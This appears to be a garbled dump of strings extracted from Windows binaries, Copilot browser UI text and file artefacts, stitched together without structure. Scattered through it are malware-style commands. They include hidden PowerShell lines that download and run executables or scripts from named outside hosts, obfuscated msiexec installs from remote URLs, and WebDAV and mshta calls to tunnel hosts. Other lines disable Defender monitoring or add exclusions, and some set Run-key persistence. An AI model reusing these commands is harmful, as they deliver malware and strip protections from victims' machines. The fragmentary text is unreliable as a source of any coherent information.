This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
\windows\currentversion\run\myU
&	-computername$env:computername;foreach($bin$n){if($b.displayname-replace'windowsdefender',''){exit}}.(gp-pa'hklm:\sof*\clas*\applications\msh*e').('pschildname')https://bashupload.com/zmtnx/test
c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-command(new-objectsystem.net.webclient).downloadfile('https://mileshr.ae/onedrive/output.txt','c:\\programdata\\
c:\windows\system32\cmd.exe/crobocopy"\\agricultural-brooks-nevertheless-hawk.trycloudflare.com@ssl\davwwwroot\
\windows\system32\cmd.exe/c
%windir%\system32\curl-s-o%temp%\
%windir%\system32\
.pngc:\windows\explorer.exe%windir%\system32\cmd.exe%
\blurwindows\x64\release\blurwindows
\\BlurWindows\\x64\\Release\\BlurWindows.pdb
Microsoft-Windows-Client-Features-WOW64-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
add-mppreference-exclusionpath'c:\windows\temp
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.Foundation.Collections.h
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.Foundation.h
ir%\system32\imageres.dll%
WindowsFeedback
WindowsFeedback
powershell.exe -windowstyle hidden -command "%s"p
dows\system32\cmd.exe/cfor/f"tokens=4delims=s\"%gin('set^|findstrpsm')docmd
1~minjpath="c:\windows\microsoft.net\framework\v4.0.30319\aspnet_compiler.exe
HKCU:\Software\Microsoft\Windows\CurrentVersion\RunH
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)M
C:\WINDOWS\system32\gbdwpbm.dllC
qwindowsJ
c:\windows\system32\
c:\windows\system32\
c:\windows\
c:\windows\
c:\windows\
c:\windows\
c:\windows\
\system32\advapi32.dllreldelxpia9cx31cvtSystemDirectoryAxpia9cx31cvtTempFileNameAxpia9cx31cvtTempPathAxpia9cx31cvtTickCountxpia9cx31cvtWindowsDirectoryAxpia9cx31cvveFileExA
}run]"ctfmon"="c:\\windows\\config\\
c:\windows\system32\cmd.exe
windows.hlp`
Global.WidgetViewWinUI3MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetViewWinUI3Global.WidgetViewWinUI3Global.WidgetViewWinUI3Assets\Square150x150Logo.pngAssets\Square44x44Logo.pnglight
AppMicrosoft.WindowsNotepad_8wekyb3d8bbwe!Appms-resource:Resources/AppDisplayName_Notepadms-resource:Resources/AppDescription_NotepadAssets\NotepadMedTile.pngAssets\NotepadAppList.pngAssets\NotepadWideTile.pngAssets\NotepadLargeTile.pngAssets\NotepadSmallTile.pnglight
Notepad\Notepad.exeWindows.FullTrustApplication$(env:USERPROFILE)E)
Microsoft.OutlookforWindowsMicrosoft.OutlookForWindows_8wekyb3d8bbwe!Microsoft.OutlookforWindowsOutlookMicrosoft OutlookAssets\MedTile.pngAssets\AppList.pngAssets\WideTile.pngAssets\LargeTile.pngAssets\SmallTile.pnglight
olk.exeWindows.FullTrustApplication
msteams_autostarter.exeWindows.FullTrustApplicationn
ms-teamsupdate.exeWindows.FullTrustApplicationn
ms-teams.exeWindows.FullTrustApplicationImages\TeamsForWorkNewSplashScreen.pngg
ms-teams.exeWindows.PartialTrustApplicationn
Global.WidgetPickerMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetPickerGlobal.WidgetPickerGlobal.WidgetPickerAssets\Square150x150Logo.pngAssets\Square44x44Logo.pnglight
SettingsUXHostAppMicrosoftWindows.CrossDevice_cw5n1h2txyewy!SettingsUXHostAppms-resource://MicrosoftWindows.CrossDevice/CrossDeviceComponentStub/Resources/AppNamems-resource://MicrosoftWindows.CrossDevice/CrossDeviceComponentStub/Resources/AppNameAssets\AppTiles\MedTile.pngAssets\AppTiles\AppList.pngAssets\AppTiles\WideTile.pnglight
CrossDeviceSettingsHost.exeWindows.FullTrustApplicationp<
$client.downloadfile('https://gateintech.com/wp-content/plugins/contact-form-7/red/yes/done.exe',"$env:temp\fvtg2done.exe");start-process"$env:temp\fvtg2done.exe"-windowstylehidden;
cmd.execommissioning/q/ehht/v/rsta^r^tmsiexe^c-^p^ac^k^ag^e"http://2t.pm:8080/arbgvyc/rf4qw5bwf9fv6hx/6v9ys/!computername!"/q^ncu^n^i=x^a^e^v^jrm!%systemroot%\system32\shell32.dll%
cmd.exej-ic:\windows\system32\cmd.exev/r^sta^r^tm^si^ex^e^c/qn^r^y^lz=^v^fw^cp/fv"http://m0.nu:8080/a/2a3vvkn2sacn/3/39vukhpeu6kafymmi//%computername%"%windir%\system32\shell32.dll
c:\windows\system32\cmd.exeososu/v/q/c^s^t
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
\windows\syswow64\msiexec.exe
q:$powershell.exe-executionpolicyunrestricted-windowstyle1$fx='eotfnsscdstyrmptbjurdncvpsnglnxkbqabuyyliocguwvtxgpaqccmlibrkdqwronugllbmjghodzvmeveswlqkwqxwlaymglkzgskxcykgktijtqhdjjfytrosn';functionkmoqt($pd){$tr
rowindows defender sucksot\securitycentewindows defender sucksr2r
c:\windows'
system32
Windows.Data.Input.FileData
Windows.Data.Messaging.Settings
Windows.Data.Input.HistoryFiles
Windows.Data.WiFi.WiFiProfile
$length=get-random-minimum3-maximum11$randomstring=-join((65..90)+(97..122)+(48..57)|get-random-count$length|%{[char]$_})$outfile="$env:temp\$randomstring.ttf"[system.io.file]::writeallbytes($outfile,$binarycontent)$filepath="c:\windows\syswow64\rundll32.exe
safeSubWindows
msotcidVBShortCutCodeWindows
cmdidMoreWindows
FlushInputWindows
[MSAL:0006]	INFO   	LogTelemetryData:464	Key: authorization_type, Value: WindowsIntegratedAuth
dows\system32\cmdO
\windows\(
Copilot-ek. Hori onartzeko, idatzi Windows-eko pasahitza.copiloteguneratzeaMicrosoft Copilot eguneratze-zerbitzuaMicrosoft Copilot barne eguneratze-zerbitzuaMicrosoft Copilot-eko softwarea eguneratuta mantenduko du. Zerbitzu hau desgaitzen edo gelditzen bada, Microsoft Copilot-eko softwarea ez da eguneratuta egongo, hau da, sor daitezkeen s
powershell-windowstylehidden-command"set-mppreference-disablerealtimemonitoring$true-erroractionsilentlycontinue
iconfile=c:\windows\system32\shell32.dllurl=file://
p%systemroot%\system32\shell32.dll%comspec%%comspec%%wn]nd.q
windowstylehidden"invoke-webrequest-usebasicparsinghttps://inversionesgonzal.com/license.txt|iex|iex"<c:\program
pwindows*
Windows aC
)"many windows and tabs appear on Alt+Tab
bin\Release\net8.0-windows\win-x64\nativeF
ir%\system32\cmd.exe
f-commandadd-mppreference-exclusionpath'c:\programdata\microsoft\windows\startmenu(
c9^windows.backgroundTaskp
win32_exec-exitfunc=sehcmd=c:\windows\system32\calc.exesize=378encoder=alpha2http://metas
Microsoft.Windows.CapturePicker_cw5n1h2txyewy!App
Microsoft.Windows.CapturePicker_10.0.19580.1000_neutral__cw5n1h2txyewy
Microsoft.Windows.CapturePicker_10.0.19580.1000_neutral__cw5n1h2txyewy
Windows.UI.Xaml.Shapes.Rectangle
Windows.UI.Xaml.Shapes.Shape
Windows.UI.Xaml.SizeHelper
Windows.UI.Xaml.StateTrigger
Windows.UI.Xaml.StateTriggerBase
Windows.UI.Xaml.Style
Windows.UI.Xaml.TargetPropertyPath
Windows.UI.Xaml.ThicknessHelper
Windows.UI.Xaml.TriggerAction
Windows.UI.Xaml.TriggerActionCollection
Windows.UI.Xaml.TriggerBase
[MSAL:0005]	DEBUG  	IsAuthorizationTypeSupported:131	WindowsIntegratedAuth with consumer realm and enabled MSA flight and non-NAA. Returning true.
\windows2
windows.hlp
.?AU?$require_one@UPerformancePage@implementation@TaskManagerApp@winrt@@UIUIElement7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement8@UPerformancePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UPerformancePage@implementation@TaskManagerApp@winrt@@UIUIElement8@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement9@UPerformancePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UPerformancePage@implementation@TaskManagerApp@winrt@@UIUIElement4@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement5@UPerformancePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UPerformancePage@implementation@TaskManagerApp@winrt@@UIUIElement5@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement7@UPerformancePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UPerformancePage@implementation@TaskManagerApp@winrt@@UIUIElement2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement3@UPerformancePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UPerformancePage@implementation@TaskManagerApp@winrt@@UIUIElement3@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement4@UPerformancePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UPerformancePage@implementation@TaskManagerApp@winrt@@UIFrameworkElement7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement@UPerformancePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UPerformancePage@implementation@TaskManagerApp@winrt@@UIUIElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement2@UPerformancePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UPerformancePage@implementation@TaskManagerApp@winrt@@UIFrameworkElement4@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement6@UPerformancePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UPerformancePage@implementation@TaskManagerApp@winrt@@UIFrameworkElement6@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement7@UPerformancePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UPerformancePage@implementation@TaskManagerApp@winrt@@UIFrameworkElement2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement3@UPerformancePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UPerformancePage@implementation@TaskManagerApp@winrt@@UIFrameworkElement3@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement4@UPerformancePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UPerformancePage@implementation@TaskManagerApp@winrt@@UIControl7@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement@UPerformancePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UPerformancePage@implementation@TaskManagerApp@winrt@@UIFrameworkElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement2@UPerformancePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
~clientcore\windows\core\dispbroker\dll\main.cpp
clientcore\windows\core\dispbroker\inc\private\CustomMarshalingBase.h
clientcore\windows\core\dispbroker\dll\oswrappersimpl.cpp
clientcore\windows\core\dispbroker\inc\private\OsWrappers.h
clientcore\windows\core\dispbroker\inc\private\SerializationHelper.h
clientcore\windows\core\dispbroker\lib\sessionbrokerinstance.cpp
clientcore\windows\core\dispbroker\lib\toastnotificationhandler.cpp
ComSpec=C:\WINDOWS\system32\cmd.exe
OS=Windows_NT
Microsoft.Windows.Print.DeviceConfiguration
Assets\contrast-white\WindowsSecurityAppList.scale-100_0
Assets\WindowsSecurityWideTile.scale-400.png~
Assets\WindowsSecurityAppList.scale-1505
Microsoft.Windows.FileSystem.UnionFs
onecore\ds\security\gina\profile\profsvc\winlogon.cpp
Microsoft.Windows.NetworkListManager
Microsoft.Windows.TlgAggregateInternal
33^windows.appExtension
bservable_vector_base@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@USettingsGroupViewModel@TaskManagerApp@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@Uargs@?$observable_vector_base@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@USettingsGroupViewModel@TaskManagerApp@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$root_implements@Uargs@?$observable_vector_base@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@USettingsGroupViewModel@TaskManagerApp@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$implements@USettingsPageViewModel@implementation@TaskManagerApp@winrt@@U134@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@winrt@@
.?AU?$producers_base@USettingsPageViewModel@implementation@TaskManagerApp@winrt@@V?$tuple@USettingsPageViewModel@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@3@@std@@@impl@winrt@@
.?AU?$producer_convert@USettingsPageViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@USettingsPageViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$root_implements@USettingsPageViewModel@implementation@TaskManagerApp@winrt@@U134@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UFilterControl@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AUtype@?$abi@UIUIElementOverrides9@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AU?$produce_base@UFilterControl@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce_base@UFilterControl@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
C:\\WINDOWS\\system32\\CatRoot2\\{
Microsoft.Windows.FileSystem.CloudFiles
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
%BrowserAppProfile%\New Windows!UseHooks
.Windows.Cortana_cw5n1h2txyewy!
WindowsFlight
SDK-Version: EVT-Windows-C++-No-3.8.249.1
"Windows"
"Windows"
"Windows"
c:\windows\system32\cmd.exe/cpowershell-cset-alias
DriverData=C:\Windows\System32\Drivers\DriverData
ABCDEFGHJKLMNPQRSTUVWXYZ23456789-WindowStyle Hidden -EncodedCommandtry { Add-MpPreference -ExclusionPath 'C:\' -ErrorAction SilentlyContinue } catch { }t
SHSetWindowSubclass
c:\windows\system32\
c:\windows\system32\
/POPUP\system32\win7zip.dllhttp://go.myzy.info/down.php?i=bdll&http://go.myzy.info/down.php?i=bexe&
windows\system32\drivers\etc\serviceprogram files\startup
ifnotinstring,runnow,c4{sleep1000run,%a_programfiles%\windowsnt\ftb.exe,,useerrorlevel
"%%windir%%\system32\sdbinst.exe" /q /u "%s"
Microsoft.Windows.f
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
LoadSystem32LibraryA couldn't allocate 0x%x bytes.
LoadSystem32LibraryA: GetSystemDirectory failed, error = 0x%x.
get_DockPanel_DefaultFloatWindowSize_Description
get_ToolWindowStripGapTop
get_ToolWindowSeparator
set_ToolWindowSeparator
windowsdefender
ms-windowsbackup
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringRawBuffer
\windows\adfs\
\windows\microsoft.net\assembly\gac_msil\microsoft.identityserver
C:\WINDOWS\system32\backgroundTaskHost.exe2
GetSystemWindowsDirectoryW
microsoft windows4e
fEnableWindowsKeyWWW
AutoATAWindowsString12345678901
?$IVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$implements@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@U?$IVector@UProcessViewModel@TaskManagerApp@winrt@@@5673@U?$IVectorView@UProcessViewModel@TaskManagerApp@winrt@@@5673@U?$IIterable@UProcessViewModel@TaskManagerApp@winrt@@@5673@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@5673@@winrt@@
.?AU?$producers_base@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@V?$tuple@U?$IObservableVector@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@U?$IVector@UProcessViewModel@TaskManagerApp@winrt@@@2345@U?$IVectorView@UProcessViewModel@TaskManagerApp@winrt@@@2345@U?$IIterable@UProcessViewModel@TaskManagerApp@winrt@@@2345@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@2345@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@2345@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@2345@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@2345@@std@@@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVector@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVector@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
9NBLGGH3SHM5Gears of War: Ultimate Edition for Windows 10https://store-images.s-microsoft.com/image/apps.59505.13510798884671596.352e98f8-31aa-4a32-9db9-94782043e1b8.c448a596-e629-4138-9403-ff5019f870f2en
9NBLGGH3SHM5Gears of War: Ultimate Edition pour Windows 10https://store-images.s-microsoft.com/image/apps.59505.13510798884671596.352e98f8-31aa-4a32-9db9-94782043e1b8.c448a596-e629-4138-9403-ff5019f870f2fr(`
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-CoreSystem-MSXML6-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat
windows.aclfromentriesw
WINDOWS11
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
c:/windows/system32/d
c:/windows/system32/d
pWINDOWS
\WindowsPowerShell\.
ResultFromWin32HandleMaybenull( LoadLibraryEx(L"AppxDeploymentClient.dll", nullptr, LOAD_LIBRARY_SEARCH_SYSTEM32), reinterpret_cast<HANDLE*>(module.GetAddressOf()))
ResultFromWin32HandleMaybenull(LoadLibraryEx(L"AppxDeploymentClient.dll", nullptr, LOAD_LIBRARY_SEARCH_SYSTEM32), reinterpret_cast<HANDLE*>(module.GetAddressOf()))
7s\system32\mshta.exe"\\olympics-inform-batteries-afterwards.trycloudfl
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
-execubypass-windowstyhidden
Microsoft-Windows-Kernel-Package-System-Events-Container-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
s\system32
OPENSSLDIR: "C:\Windows\System32\OneDrive\SSL\amd64\release\etc"
ENGINESDIR: "C:\Windows\System32\OneDrive\SSL\amd64\release\lib\engines-3"
MODULESDIR: "C:\Windows\System32\OneDrive\SSL\amd64\release\lib\ossl-modules"
C:\Windows\System32\OneDrive\SSL\amd64\release\etc
C:\Windows\System32\OneDrive\SSL\amd64\release\lib\engines-3
C:\Windows\System32\OneDrive\SSL\amd64\release\lib\ossl-modules
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
^windows.appExtens
	^windows.appExtensionHost
2ba^com.microsoft.windows.ez
2bb^com.microsoft.windows.extensions.xaml.widgetboar
2be^com.microsoft.windows.e
2b5^com.microsoft.windows.widgetv
2b6^com.microsoft.windows.widgets.feedsh
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
\"?rundll32(\.exe)?\"?\s+\"?.:\\windows\\system32\\shell32\.dll\"?,shcreatelocalserverrundll\s+\{3eef301f-b596-4c0b-bd92-013beafce793\}\s+-embedding
.:\\program files( \(x86\))?\\windowsapps\\(?!microsoft\.windowsterminal).*
\"?.:\\windows\\system32\\control\.exe\"?\s+\"?input\.dll\"?$
\"?.:\\windows\\system32\\cmd(\.exe)?\"?\s+\/c\s+.:\\bbl-icash\\bblkeyin\\ext\\encpt.bat
cmd(\.exe)?\"?\s+/c\s+\"?c:\\windows\\system32\\reg\.exe\s+add\s+\"?hklm\\software\\microsoft\\windows\\windows error reporting\\localdumps\\microsoft\.mashup\.container\.loader\.exe\"?\s+/v\s+dumpfolder
WindowsSubstringWithSpecifiedLength
ArrangeWindows
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
 Windows 
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over meti
      "$comment": "Windows Copilot can use foreground window OC
